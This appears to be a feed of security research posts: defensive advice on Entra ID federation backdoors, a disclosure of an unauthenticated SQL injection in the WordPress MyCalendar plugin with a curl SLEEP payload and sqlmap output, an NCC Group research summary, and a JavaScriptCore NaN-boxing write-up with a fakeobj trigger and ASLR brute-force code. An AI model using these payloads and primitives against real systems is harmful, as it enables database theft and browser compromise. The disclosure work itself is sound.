🔍 Second, you should audit and monitor the federated domains (including their federation configuration(s)) in your Entra ID to detect the potential backdoors (already present, or to be added). Especially if your organization is not using (anymore) federated authentication. One of the available solutions is of course Tenable Identity Exposure which offers Indicators of Exposure dedicated to this subject (“Known Federated Domain Backdoor”, “Federation Signing Certificates Mismatch”, and more to come!). Microsoft has also published a guide describing how to “Monitor changes to federation configuration in your Microsoft Entra ID” but which leaves up to you the analysis of the federation configuration when an event occurs. Changes in federated domains, and the associated federation configurations, are normally rare so any event should be properly investigated.

🆘 Third, in case of a suspected or confirmed attack, it is highly recommended to seek assistance from incident response specialists with expertise on Entra ID to help identify the extent of the attack including the other potential means of persistence of the attacker. You can follow this remediation guide from Microsoft “Emergency rotation of the AD FS certificates”.

Conclusion

We have seen together that several built-in Entra roles can be leveraged by attackers to abuse the federation feature to elevate their privileges and persist in an Entra tenant. Of course, the most famous role, Global Administrator, is one of them, but these can also be used: Security Administrator, Hybrid Identity Administrator, External Identity Provider Administrator, Domain Name Administrator, and Partner Tier2 Support. Microsoft still has not identified all of them as privileged, so be careful when assigning these roles in your organization: assigned users may have more power than you think! 💥

Entra Roles Allowing To Abuse Entra ID Federation for Persistence and Privilege Escalation was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

WordPress MyCalendar Plugin — Unauthenticated SQL Injection(CVE-2023–6360)

WordPress Core is the most popular web Content Management System (CMS). This free and open-source CMS written in PHP allows developers to develop web applications quickly by allowing customization through plugins and themes. WordPress can work in both a single-site or a multisite installation.

In this article, we will analyze an unauthenticated sql injection vulnerability found in the MyCalendar plugin.

This was discovered by Tenable Research while working on web application security.

Reference: https://www.joedolson.com/2023/11/my-calendar-3-4-22-security-release/
Tenable TRA : https://www.tenable.com/security/research/tra-2023-40
Affected Versions: < 3.4.22
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CVSSv3 Score: 8.6

My Calendar does WordPress event management with richly customizable ways to display events. The plugin supports individual event calendars within WordPress Multisite, multiple calendars displayed by categories, locations or author, or simple lists of upcoming events.

Vulnerable Code:

The vulnerability is present in the function my_calendar_get_events() of ./my-calendar-events.php file which is called when a request is made to the function my_calendar_rest_route() of ./my-calendar-api.php file.

Here is the interesting code part, it is quite huge so I just have to keep the interesting part for the article :

// ./my-calendar-events.php
function my_calendar_rest_route( WP_REST_Request $request ) {
 $parameters = $request->get_params();
 $from       = sanitize_text_field( $parameters['from'] );
 $to         = sanitize_text_field( $parameters['to'] );
 [...]

 $events     = my_calendar_events( $args );

 return $events;
}

function my_calendar_events( $args ) {
 [...]
 $events        = my_calendar_get_events( $args );
 
 [...]
}

// ./my-calendar-api.php
function my_calendar_get_events( $args ) {
 $from     = isset( $args['from'] ) ? $args['from'] : '';
 $to       = isset( $args['to'] ) ? $args['to'] : '';

 [...]

 $from = mc_checkdate( $from );
 $to   = mc_checkdate( $to );
 if ( ! $from || ! $to ) {
  return array();
 }

 [...] 
 WHERE $select_published $select_category $select_location $select_author $select_host $select_access $search
  AND ( DATE(occur_begin) BETWEEN '$from 00:00:00' AND '$to 23:59:59'
   OR DATE(occur_end) BETWEEN '$from 00:00:00' AND '$to 23:59:59'
   OR ( DATE('$from')
 [ ...]

 return apply_filters( 'mc_filter_events', $arr_events, $args, 'my_calendar_get_events' );
}

When we look at the function in its entirety, the first thing that catches our eye is to see that raw SQL queries without the use of wpdb->prepare() are executed with variables such as from & to which correspond to user inputs.

Looking at the code, can see that mc_checkdate() is called on from & to and if the result is not valid for both, a return is made before executing the SQL query.

Let’s take a closer look at this function :

function mc_checkdate( $date ) {
 $time = strtotime( $date ); # <= Is a bool(false). The error is actually here, this is what allows the payload to pass
 $m    = mc_date( 'n', $time ); # <= eq to 11
 $d    = mc_date( 'j', $time ); # <= eq to 23 (current day number)
 $y    = mc_date( 'Y', $time ); # <= eq to 2023

 // checkdate is a PHP core function that check the validity of the date
 return checkdate( $m, $d, $y ); # <= So this one eq 1
}

 */
function mc_date( $format, $timestamp = false, $offset = true ) {
 if ( ! $timestamp ) {
  $timestamp = time();
 }
 if ( $offset ) {
  $offset = intval( get_option( 'gmt_offset', 0 ) ) * 60 * 60; # <= No importance for the test, we can leave it at 0
 } else {
  $offset = 0;
 }
 $timestamp = $timestamp + $offset;

 # So in the end returns the value of gmdate( $format, $timestamp );
 return ( '' === $format ) ? $timestamp : gmdate( $format, $timestamp );
}

For simplicity, we can take the vulnerable code locally to observe a more detailed behavior :

This simple error therefore allows our SQL payload to bypass this check and be inserted into the SQL query.

Proof of Concept:

time curl "https://WORDPRESS_INSTANCE/?rest_route=/my-calendar/v1/events&from=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(1)))a)+AND+'a'%3d'a"
{}
real    0m3.068s
user    0m0.006s
sys    0m0.009s

Exploitation:

sqlmap -u "http://192.168.1.27/?rest_route=/my-calendar/v1/events&from=1*" --current-db --dbms=MySQL
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.7.9#pip}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:48:00 /2023-12-21/

custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q]

[09:48:02] [INFO] testing connection to the target URL
[...]
[09:48:08] [INFO] URI parameter '#1*' appears to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable (with --string="to")
[...]
[09:48:08] [INFO] URI parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[...]
[09:48:38] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[...]
[09:48:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[09:48:54] [INFO] fetching current database
[09:48:54] [INFO] retrieved: 'wasvwa'
current database: 'wasvwa'

Patch :

For backwards compatibility reasons, the author of the plugin decided to modify the mc_checkdate() function rather than using wpdb->prepare()

function mc_checkdate( $date ) {
 $time = strtotime( $date );
 $m    = mc_date( 'n', $time );
 $d    = mc_date( 'j', $time );
 $y    = mc_date( 'Y', $time );

 $check = checkdate( $m, $d, $y );
 if ( $check ) {
  return mc_date( 'Y-m-d', $time, false );
 }

 return false;
}

Adding this additional check is sufficient to correct the vulnerability.

WordPress MyCalendar Plugin — Unauthenticated SQL Injection(CVE-2023–6360) was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Over the past two years, our global cybersecurity research has been characterized by unparalleled depth, diversity, and dedication to safeguarding the digital realm. The highlights of our work not only signify our commitment to pushing the boundaries of cybersecurity research but also underscore the tangible impacts and positive change we bring to the technological landscape. This report is a summary of our public-facing security research findings from researchers at NCC Group between January 2022 and December 2023.  

With the release of 18 public reports and presenting our work at over 32 international conferences and seminars, encompassing a variety of technology and cryptographic implementations, we have demonstrated our capacity to scrutinize and enhance key security functions. Notably, our collaborations with tech giants such as Google, Amazon Web Services (AWS), and Kubernetes underscore our pivotal role in fortifying the digital ecosystems of industry leaders.  

Commercially, 2022 and 2023 saw us deliver over $3million in revenue in collaborative research engagement across various technologies and many sectors, increasingly across Artificial Intelligence (AI) and AI-based systems.  

In our bid to democratize cybersecurity knowledge, we have released 21 open-source security tools and repositories. These invaluable tools have catalyzed efficiency gains across multiple domains of cybersecurity.  

Our research has positioned us at the forefront of evolving cryptographic paradigms. With significant work in Post- Quantum Cryptography, Elliptic Curve Cryptography, and Blockchain security, we remain key players in shaping the future of digital privacy and security.  

The meteoric rise of AI/ML applications has been matched by our intense focus on understanding their security dynamics. Our research in this arena has grown exponentially since 2022, providing critical insights into the strengths and vulnerabilities of these transformative technologies.  

Modern cloud environments, coupled with rapid shifts in software development and deployment, have necessitated deep dives into their security mechanisms. Our outputs in this domain have been instrumental in pioneering robust cyber defense tactics for contemporary digital infrastructures. Our exhaustive studies into hardware vulnerabilities and Operating System security have set benchmarks in comprehending and countering potential threats.  

The external presentation of our research, particularly by our Exploit Development Group (EDG), has won us accolades, most notably a third-place finish at the 2022 Pwn2Own Toronto competition. EDG’s work on exploiting consumer routers and enterprise printers has been ground-breaking. Ken Gannon and Ilyes Beghdadi successfully exploited the Xiaomi 13 Pro smartphone at the 2023 Pwn2Own Toronto competition, demonstrating our continued excellence in mobile security.  

Our research has spanned several other pivotal areas including Vulnerability Detection Management, Reverse Engineering, Modern Networking Security, and Secure Programming Development. Unearthing over 69 security vulnerabilities across third party products, we’ve reinforced our commitment to digital safety through responsible and coordinated vulnerability disclosure. Each discovery, while highlighting potential threats, also underscores our unwavering dedication to proactively fortifying global digital infrastructures.  

Our journey through 2022 and 2023 has been marked by rigorous research, collaboration, and an unwavering commitment to excellence. As we continue to gain intelligence, insight and to innovate, our role in shaping a secure digital future remains paramount. 

As we look forward to the upcoming year, our excitement is at an all-time high, not just for the innovative projects and growth opportunities on the horizon, but also for the robust safety measures we are putting in place. Making our lives safe, both in our work environments and within our digital realms, remains a top priority. We are actively developing and executing research that leads to enhancing our cybersecurity protocols, introducing tools, and investing in exploring cutting-edge technology to ensure a secure and resilient infrastructure. Our commitment to creating a safer world for everyone is unwavering, and we believe these efforts will significantly contribute to a productive, secure, and successful year ahead for all of us. 

The report is available as a downloadable PDF here. 

By Vignesh Rao and Javier Jimenez

Introduction

In October 2023 Vignesh and Javier presented the discovery of a few bugs affecting JavaScriptCore, the JavaScript engine of Safari. The presentation revolved around the idea that browser research is a dynamic area; we presented a story of finding and exploiting three vulnerabilities that led to gaining code execution within Safari’s renderer. This blog post extends into the second vulnerability in more detail: the NaN bug.

NaN-boxing

To understand why we gave the name “NaN bug” to this bug, we first need to understand the IEEE754 standard.  We shall also dive into how JSValues are represented in memory by means of a technique called “NaN-boxing”.

IEEE754

JavaScriptCore uses the IEEE Standard for Floating-Point Arithmetic (IEEE754). This standard serves the purpose of representing floating point values in memory. It does so by encoding, for example on a 64-bit value (double-precision floating-point format), data such as the sign, the exponent, and the significand. There are also 16-bit (half-precision) and 32-bit (single-precision) representations that are outside of the scope of this blog post.

Sign	Exponent	Significand
Bit 63	Bits 62-52	Bits 51-0

Depending on these bits, the calculation for the representation would be as follows.

• With exponent 0: (-1)**(sign bit) * 2**(1-1023) * 1.significand

• With exponent other than 0: (-1)**(sign bit) * 2**(exponent-1023) * 0.significand

• With all bits of exponent set and significand is 0: (-1)**(sign bit)*Infinity

• With all bits of exponent set and significand not 0: Not a number (NaN)

The reason why 1023 is used on the exponent is because it is encoded using an offset-binary representation which aides in implementing negative numbers with 1023 as the zero offset. In order to understand offset-binary representation, we can picture an example with a 3 digit binary exponent. In this representation it would be possible to encode up to number 7 and the offset would be 4
(2**2). This way we would encode the number 0 as (2**1) in this offset-binary representation and therefore the encoded range would be (-4, 3) corresponding to the binary range of (000, 111).

NaN

If all the bits of the exponent on the IEE754 standard representation are set, it describes a value that is not a number (NaN). These values are described in the standard as a way to establish values that are either undefined or unrepresentable. In addition, there exist Quiet and Signaling NaN values (QNaN, sNaN) which serve the purpose of either notifying of a normal undefined or unrepresentable value or, in the case of a signaling NaN, a representation to add diagnostics info (other data encoded in the payload of the value).

There are 2**51 possible values we can encode in the payload of the NaN number in the double-precision floating-point format. This allows a huge value space for implementers to encode all sorts of information. In hexadecimal, this range would be any values between 0xFFF0000000000000 and 0xFFFFFFFFFFFFFFFF.

Specifically, JavaScriptCore uses NaN values to encode different types of information.

JSValue

Most JavaScript engines choose to represent JavaScript objects in memory in a way that enables efficient handling of the values. JavaScriptCore is no exception, and to do so, it backs up JavaScript objects with the C class JSValue. It is possible to find a detailed explanation on how values in the JavaScript engine are encoded in JavaScriptCore within the file Source/JavaScriptCore/runtime/JSCJSValue.h:

				
					     *     Pointer {  0000:PPPP:PPPP:PPPP
     *              / 0002:****:****:****
     *     Double  {         ...
     *              \ FFFC:****:****:****
     *     Integer {  FFFE:0000:IIII:IIII
				
			

Raw pointers keep their upper bits (16 most-significant bits) at 0. Other specific values such as Boolean, null and undefined values share the same 0x0000 tag:

				
					     *     False:     0x06
     *     True:      0x07
     *     Undefined: 0x0a
     *     Null:      0x02
				
			

Doubles start with the upper 16-bit at 0x0002... and end with the upper 16-bit at 0xFFFC.... This is encoded by adding the constant 2**49 (0x0002000000000000) to all double values. After this addition, no double-precision value begins with 0x0000 or 0xFFFE tags. If further manipulation is required, this constant (2**49) should be subtracted before performing operations on double-precision numbers.

Integers have the upper 16-bit set to 0xFFFE..., only using the 32 least-significant bits for the actual integer values.

				
					gef＞  r
Starting program: ./jsc 
＞＞＞ let obj = {f: 1.1}
undefined

[1]

＞＞＞ describe(obj);
"Object: 0x7fb9d34e0000 with butterfly (nil)(base=0xfffffffffffffff8) (Structure 0x7fb9d34d49a0:[0xe8b/3723, Object, (1/2, 0/0){f:0}, NonArray, Proto:0x7fba1501d8e8, Leaf]), StructureID: 3723"

[2]

gef＞  x/32gx 0x7fb9d34e0000
0x7fb9d34e0000:	0x0100180000000e8b	0x0000000000000000
0x7fb9d34e0010:	0x3ff399999999999a	0x0000000000000000

[3]

gef＞  p/x 0x3ff399999999999a - 0x0002000000000000 # 2**49
$1 = 0x3ff199999999999a
gef➤  p/f 0x3ff199999999999a
$2 = 1.1000000000000001
				
			

After defining an object with a float property f of value 1.1 we use the runtime debugging function describe to obtain the address in memory of the declared object [1]. Note that the object’s butterfly is nil. For other cases, for example arrays, this butterfly pointer would be the elements pointer – for (a lot) more information on these terms refer to this WebKit Blog. By inspecting the aforementioned object address in the debugger, at offset 0x10 the encoded double-precision value is retrieved [2]. By following the previous encoding of subtracting 2**49 from the value [3], the original double-precision value 1.1 is retrieved.

In the source code, there are helper constants to perform such manipulation of integer and double-precision values.

				
					    // This value is 2^49, used to encode doubles such that the encoded value will begin
    // with a 15-bit pattern within the range 0x0002..0xFFFC.
    static constexpr size_t DoubleEncodeOffsetBit = 49;
    static constexpr int64_t DoubleEncodeOffset = 1ll ＜＜ DoubleEncodeOffsetBit;
    // If all bits in the mask are set, this indicates an integer number,
    // if any but not all are set this value is a double precision number.
    static constexpr int64_t NumberTag = 0xfffe000000000000ll;
				
			

The “NaN-boxing” techniques effectively use the payload in a NaN value to box information within the value itself, hence the name “NaN-boxing”. One of the key points of the vulnerability described within this blog post relies on abusing such encoding techniques. If an attacker were to provide unsanitized double-precision values starting at 0xFFFE..., once the engine tried to encode and store such a value by adding the 2**49 constant, the value would end up as 0xFFFE000000001234 + 2**49 = 0x0000000000001234 as it overflows, resulting in the 0x0000 tag, which corresponds to a raw pointer to 0x1234.

Vulnerability

Optimizing Compilers: DFG & FTL

DFG (Data Flow Graph) and FTL (Faster Than Light) are two of JavaScriptCore’s Just-in-Time (JIT) Optimizing Compilers. In case these concepts are new, reading about them beforehand would make understanding the following vulnerability details easier. JIT compilers have been extensively written about, including on Vignesh’s post on another Safari vulnerability.

Vulnerability Details

The vulnerability that we are going to discuss arises from the manner in which JavaScriptCore’s DFG JIT and FTL JIT optimize and compile fetching an element from a Floating point typed array. For the purpose of this blog post, we will be primarily looking at the DFG JIT code, however this same issue also existed in FTL.

Consider the following JavaScript code.

				
					let float_array = new Float64Array(10) ;
let value = float_array[0];
				
			

In the second line the float_array[0] is fetching an element from the floating point typed array. If such a statement were to be compiled by the DFG compiler, the function in the compiler responsible for converting the DFG IR into native assembly would be SpeculativeJIT::compileGetByValOnFloatTypedArray from the file Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp. Let’s take a look at the this function.

				
					void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambda＜std::tuple＜JSValueRegs, DataFormat, CanUseFlush＞(DataFormat preferredFormat)＞& prefix)
{
    ASSERT(isFloat(type));
    
    SpeculateCellOperand base(this, m_graph.varArgChild(node, 0));
    SpeculateStrictInt32Operand property(this, m_graph.varArgChild(node, 1));
    StorageOperand storage(this, m_graph.varArgChild(node, 2));
    GPRTemporary scratch(this);
    FPRTemporary result(this);

    GPRReg baseReg = base.gpr();
    GPRReg propertyReg = property.gpr();
    GPRReg storageReg = storage.gpr();
    GPRReg scratchGPR = scratch.gpr();
    FPRReg resultReg = result.fpr();

    JSValueRegs resultRegs;
    DataFormat format;
    std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble);

    emitTypedArrayBoundsCheck(node, baseReg, propertyReg, scratchGPR);
    switch (elementSize(type)) {
    case 4:
        m_jit.loadFloat(MacroAssembler::BaseIndex(storageReg, propertyReg, MacroAssembler::TimesFour), resultReg);
        m_jit.convertFloatToDouble(resultReg, resultReg);
        break;
    case 8: {
    
        // [1]
    
        m_jit.loadDouble(MacroAssembler::BaseIndex(storageReg, propertyReg, MacroAssembler::TimesEight), resultReg);
        break;
    }
    default:
        RELEASE_ASSERT_NOT_REACHED();
    }
    
    // [2]
    
    if (format == DataFormatJS) {
        
        // [3]
        
        m_jit.boxDouble(resultReg, resultRegs);
        jsValueResult(resultRegs, node);
    } else {
        ASSERT(format == DataFormatDouble);
        doubleResult(resultReg, node);
    }
}
				
			

From the code snippet above, we can see that if the element size is 8 bytes, which means that the array we are accessing is a Float64Array and not a Float32Array, then at [1], the element is loaded from an index in the array into a temporary register (resultReg in the above snippet). At [2], the format parameter is checked. This parameter is telling the compiler about the type in which the loaded float is going to be used. If the compiler thinks that the loaded value is going to be used as a float in the future, then there is no need to convert it into a JSValue. In this case, the value of the format variable will be DataFormatDouble. However, if the compiler thinks that the float value that is loaded from the array is going to be used as a JSValue, then it has to convert this float into a JSValue.

As we saw in previous sections, to convert a raw double into a JSValue double, the engine adds 2**49 to the raw double. The code to do this is provided by the boxDouble() function. Therefore, if the value of the format variable is DataFormatJS, then the control reaches [3], where the boxDouble function is called with resultReg as the first argument, which contains the double element that was loaded from the array at [1]. The following listing shows the boxDouble() function.

				
					// File - Source/JavaScriptCore/jit/AssemblyHelpers.h
    void boxDouble(FPRReg fpr, JSValueRegs regs, TagRegistersMode mode = HaveTagRegisters)
    {
        boxDouble(fpr, regs.gpr(), mode);
    }

    GPRReg boxDouble(FPRReg fpr, GPRReg gpr, TagRegistersMode mode = HaveTagRegisters)
    {
    
        // [1]
        
        moveDoubleTo64(fpr, gpr);
        
        // [2]
        
        if (mode == DoNotHaveTagRegisters)
            sub64(TrustedImm64(JSValue::NumberTag), gpr);
        else {
            sub64(GPRInfo::numberTagRegister, gpr);
            jitAssertIsJSDouble(gpr);
        }
        return gpr;
    }
				
			

The double value is moved into a General Purpose Register (gpr) at [1] and then converted into a JSValue at [2]. In order to convert the double to a JSValue, the value JSValue::NumberTag is subtracted from the double value. The JSValue::NumberTag is the constant value 0xfffe000000000000 as can be seen in the Source/JavaScriptCore/runtime/JSCJSValue.h file.

The interesting part to note here is that the result of the subtraction is never checked for an integer overflow. In an ideal case, it should never overflow because in order for it to overflow the 49th bit of the double value should be set which will make it an invalid double or in other words, a NaN value. There can be multiple values for NaN, but JavaScriptCore has one representation for it and uses the value 0x7ff8000000000000, which it calls pureNaN, to represent NaN. Hence, if the argument for the boxDouble function is coming from a previous JSValue then this subtraction can never overflow.

However, if the argument to this function is a raw, user-controlled value, then the subtraction can overflow. For example, if our input to this function (fpr in the above snippet) has the value 0xfffe000012345678, then the subtraction will follow the following course:

				
					gpr = fpr                             // [1] from the above snippet
gpr = gpr - JSValue::NumberTag;       // [2] from the above snippet  
=＞ gpr = 0xfffe000012345678 - 0xfffe000000000000;
=＞ gpr = 0xfffe000012345678 + 0x0002000000000000; // taking 2's complement
=＞ gpr = 0x0000000012345678; // overflow happens and the top bit is discarded
				
			

As we can see, subtraction with  0xfffe000000000000 is same as addition with 2**49. In the end, the gpr ends up as a fully controlled value with all the top bits unset. However, as we discussed in the NaN-Boxing section, a JSValue with all the top bits unset represents a JSObject pointer. Therefore if we manage to control the first argument, fpr, then we can craft a pointer and get JSC into believing that this is a valid pointer to a JSObject. This works because when DFG emits the code to load a value from a Float64Array, which holds raw doubles, it never checks if the double is an “impure NaN” or in other words, if the double is a NaN value but not the pure NaN value of 0x7ff8000000000000. Due to this we can point to anywhere in memory and the engine will read such a pointer as a JS object. Effectively resulting in a straight fakeobj primitive from this bug.

Path to trigger the bug

Now that we see what the bug is, let’s take a look at how it can be reached from JavaScript. In order to hit the bug, we will need to make use of the for…in enumeration in JavaScript.

Take a look at the following code that shows a JS for-in loop, which will enumerate all the property names of the obj object.

				
					obj = {x:1, y:1}
function forin(arg) {
    for (let i in obj) {
    
        // [1]
        let out = arg[i];
    }
}
				
			

At [1], the value of the currently enumerated property name (i variable in the snippet) is fetched from the arg object. When the code is being JIT compiled, [1] will be represented by the DFG IR opcode EnumeratorGetByVal. When this opcode is compiled into assembly code in the DFG JIT compiler, it reaches the following piece of code.

				
					// File - Source/JavaScriptCore/dfg/DFGSpeculativeJIT64.cpp
    case EnumeratorGetByVal: {
        compileEnumeratorGetByVal(node);
        break;
    }
				
			

As we can see, this is just calling the compileEnumeratorGetByVal() function which contains the logic to convert this opcode into native assembly. Let’s look at the definition of this function.

				
					// File - Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
void SpeculativeJIT::compileEnumeratorGetByVal(Node* node)
{
    Edge baseEdge = m_graph.varArgChild(node, 0);
    auto generate = [&] (JSValueRegs baseRegs) {

[TRUNCATED]

[1]

        compileGetByVal(node, scopedLambda＜std::tuple＜JSValueRegs, DataFormat, CanUseFlush＞(DataFormat)＞([&] (DataFormat) {
        
[TRUNCATED]

            notFastNamedCases.link(&m_jit);
            
[2]
            return std::tuple { resultRegs, DataFormatJS, CanUseFlush::No };
        }));
        
[TRUNCATED]
    };

    if (isCell(baseEdge.useKind())) {
        // Use manual operand speculation since Fixup may have picked a UseKind more restrictive than CellUse.
        SpeculateCellOperand base(this, baseEdge, ManualOperandSpeculation);
        speculate(node, baseEdge);
        generate(JSValueRegs::payloadOnly(base.gpr()));
    } else {
        JSValueOperand base(this, baseEdge);
        generate(base.regs());
    }
				
			

The compileEnumeratorGetByVal() calls the generate() closure. This closure calls the compileGetByVal() function at [1]. This function
is responsible for handling the compilation of all indexed accesses from all types of arrays. The compileEnumeratorGetByVal() calls this function informing it to handle all the indexed accesses in the enumerator loop. This is done using the lambda function that is passed as an argument to compileGetByVal(). At [2], the lambda returns a tuple, the first value being the register where the current value of the indexed load is to be stored and the second value being the format in which it should be stored. As we can see, the second value is always a constant – DataFormatJS – informing that the loaded value is always to be stored in the JSValue format.

In case arg in the JS snippet above is the floating point typed array Float64Array, then the following parts of the compileGetByVal() function will be executed:

				
					// File - Source/JavaScriptCore/dfg/DFGSpeculativeJIT64.cpp
void SpeculativeJIT::compileGetByVal(Node* node, const ScopedLambda＜std::tuple＜JSValueRegs, DataFormat, CanUseFlush＞(DataFormat preferredFormat)＞& prefix)
{
    switch (node-＞arrayMode().type()) {

// [TRUNCATED]

// [1]

    case Array::Float32Array:
    case Array::Float64Array: {
        TypedArrayType type = node-＞arrayMode().typedArrayType();
        if (isInt(type))
            compileGetByValOnIntTypedArray(node, type, prefix);
        else
        
// [2]
        
            compileGetByValOnFloatTypedArray(node, type, prefix);
    } }
}
				
			

If the array that is being accessed is a Float64Array array, then the function that is called is compileGetByValOnFloatTypedArray(), which is the vulnerable function. The next important point is that the compileEnumeratorGetByVal() function is saying that the result of the element fetch is to be stored in the JSValue format using the return value of the lambda that we saw above. In this manner, our vulnerable function is called with a Floating Point Typed Array that we control, and with the compiler being told that the value being fetched is to be converted from a raw double to a JSValue double. Keep in mind that the values in Floating Point Typed arrays can be made into “impure NaN” values by changing the underlying array buffer contents using a typed array of another type as shown below:

				
					let abuf       = new ArrayBuffer(0x10);
let bigint_buf = new BigUint64Array(abuf);
let float_buf  = new Float64Array(abuf);

bigint_buf[0] = 0xfffe_0000_0000_0000;
				
			

After the above snippet is run, the raw float in float_buf[0] will be 0xfffe_0000_0000_0000. Using this value we can trigger the bug to trick the JS engine to think that an arbitrary number is a pointer to a JSObject.

In summary, the boxDouble() function assumes that the double value that is passed to it as an argument is a valid double value or a “pure NaN” (0x7ff8000000000000) and has no checks to verify that the result did not overflow. Hence, it is the job of the caller to ensure this condition is satisfied before calling this function. If there is a call site that does not respect this and directly calls this function with a raw user controlled double value, then the attacker can gain full control of a JSValue and fake a pointer to a JSObject by using the overflow to build a very powerful fakeobj primitive.

The compileGetByValOnFloatTypedArray() function does not check that the raw double fetched from a Float64Array is indeed a valid float or not. It just blindly passes it to the boxDouble() function at [3] which makes this vulnerable to the technique described above. If an attacker can trigger this code path, it is possible to achieve the fake object primitive as shown above.

Triggering the Bug

Finally let’s look at the full JavaScript trigger for this bug:

				
					let abuf = new ArrayBuffer(0x10);
let bbuf = new BigUint64Array(abuf);
let fbuf = new Float64Array(abuf);

obj = {x:1234, y:1234};

function trigger(arg, a2) {
    for (let i in obj) {
        obj = [1];
        let out = arg[i];
        a2.x = out;
    }
}
noInline(trigger)

function main() {

    t = {x: {}};
    trigger(obj, t);

// [1]
    for (let i = 0 ; i ＜ 0x1000; i++) {
      trigger(fbuf,t);
    }

// [2]
    bbuf[0] = 0xfffe0000_12345678n;
    trigger(fbuf, t);
    
// [3]    
    t.x;
}

main()
				
			

In the above PoC, the trigger() function is the one that will trigger the vulnerability. At [1] we call the trigger() function in a loop with a  Float64Array that contains a normal benign float – that is no impure NaNs. This is done to train the compiler into emitting the code we want. After this, at [2], we use a BigUint64Array to change the first element of the Float64Array to an impure NaN. Then we call the trigger() function again. This time the bug will trigger and the engine will think that 0x12345678 is a pointer to a valid JSObject. This JSValue is stored in t.x and when we return from the function, we access t.x at [3]. This causes the engine to dereference the pointer which obviously points to an invalid address and crashes the engine while accessing 0x12345678.

Bypassing ASLR

While we have a fakeobj primitive from the bug, we still are constrained by the fact that we don’t have an ASLR bypass and hence can’t fake anything without crashing the engine. However, when we were researching a different case on JSC, we saw some interesting DFG IR.

The image shows the assembly that is emitted by the CompareStrictEq IR opcode, which is used to denote JavaScript’s Strict Equality operation in DFG IR. In this case, the LHS (Left Hand Side) D@27 is being compared against the RHS (Right Hand Side) D@34. From the above image, we see that the LHS is not typed – which means that the DFG JIT compiler did not make any assumptions on its type. We can also see that the RHS is typed to Object. This means that the compiler assumes that in this case, the RHS of the === operation is assumed to be a Javascript object by the compiler and it has to verify that this assumption holds. Again, from the image we can see that the compiler has indeed emitted checks to make sure that the type of RHS is checked.

After the type of the RHS is checked, we can see the actual logic for comparing LHS and RHS as in the image below. The code simply compares LHS and RHS with the x86 cmp instruction (this code was generated on an x86-64 Linux machine). This means that in case LHS is not a valid pointer it can still get checked against the pointer to a valid object. Also the return value of this can be read in JavaScript. Therefore we can compare an invalid pointer with a valid pointer and check to see if they are equal without triggering any crash or abnormal behaviour. These are the perfect ingredients for brute-forcing an address! We can use our fakeobj primitive from the NaN bug to get the engine into believing that arbitrary numbers that we control are actually pointers. Then we can compare this fake invalid pointer against a valid one. If the result is true, then we just correctly guessed the address of the valid pointer. Else we update the invalid pointer to a new value and then rinse and repeat the procedure.

In this way we have a mechanism to use the bug to brute force and find the address of an object pointer in memory. While this technique works, it is also extremely slow taking more than an hour to brute force 32-bits on an M1 mac. Hence its necessary to
improve it to get it to run faster.

Optimizing the Brute Force

Initially we were brute forcing the pointer with something like this:

				
					let object_to_leak = {p1: 0x1337, p2: 0x1337};

for (let i=0n; i＜0xffff_ffffn; i+=1n) {
    let fake_pointer = fakeobj(i);
    let result = brute_force(fake_pointer, object_to_leak);
    
    if (result) {
        print('Found the address at: '+ hex(i));
        break;
    }
}
				
			

The first issue with the above is that the address is incremented by one on each loop iteration in the brute force loop. It’s given that the address of any object will be aligned to a multiple of 8. Hence, instead of single stepping in the for loop, an addition of 8 can be done to the loop variable after each iteration. This will give a significant 8x speed up over the original PoC without making any additions assumptions. However, this is still too slow for a browser exploit especially seeing that the iOS and MacOS architectures have 64-bit pointers and not 32-bit.

We observed that on MacOS and iOS the JavaScriptCore heap addresses were always 5 bytes (40 bits) long. Another observation was that, if the exploit is run on a JS worker, and an object is created at the very beginning of the exploit, then the address of the object was always page aligned which means that the last 12 bits of the address of the object were always zero. Using these observations can greatly speed up the brute force as now the object whose address is to be leaked, can be created at the beginning of the exploit before any other object has been initialized, and then, in the brute force loop, the loop variable can be stepped over by 0x1000 instead of 1 or 8 giving a 4096x speed up over the original PoC. This is a huge speed up and now a 5-byte address can be brute forced in seconds.

Summary

The bug we discussed arose from the fact that DFG and FTL loaded a raw double from a typed array and proceeded to convert it into a JSValue double without verifying that the raw double was indeed a valid double or a pure NaN. This led us to achieve a fakeobj primitive whereby we could get the engine to think that any address we wanted is a pointer to a JSObject. After that we used JIT compiled code to brute force ASLR, using the fakeobj primitive, to leak the address of an object. This could be turned into a full addrof primitive, which can leak the address of any JSObject. Using a fakeobj and an addrof primitive, it is possible to achieve arbitrary read/write in the Safari renderer process.

Conclusion

The vulnerabilities discussed in this blog post and the referenced conference talk were introduced due to Apple performing large code commmits in the JavaScriptCore repository, specifically to optimize the for-in functionality of JavaScript. Browsers are ever-evolving large pieces of software, with many modules being added and stripped continually. Smart fuzzing and source-code audits are gradually being adoped into the software development lifecycle at large vendors, but they haven’t yet caught up to the offensive research industry.

About Exodus Intelligence

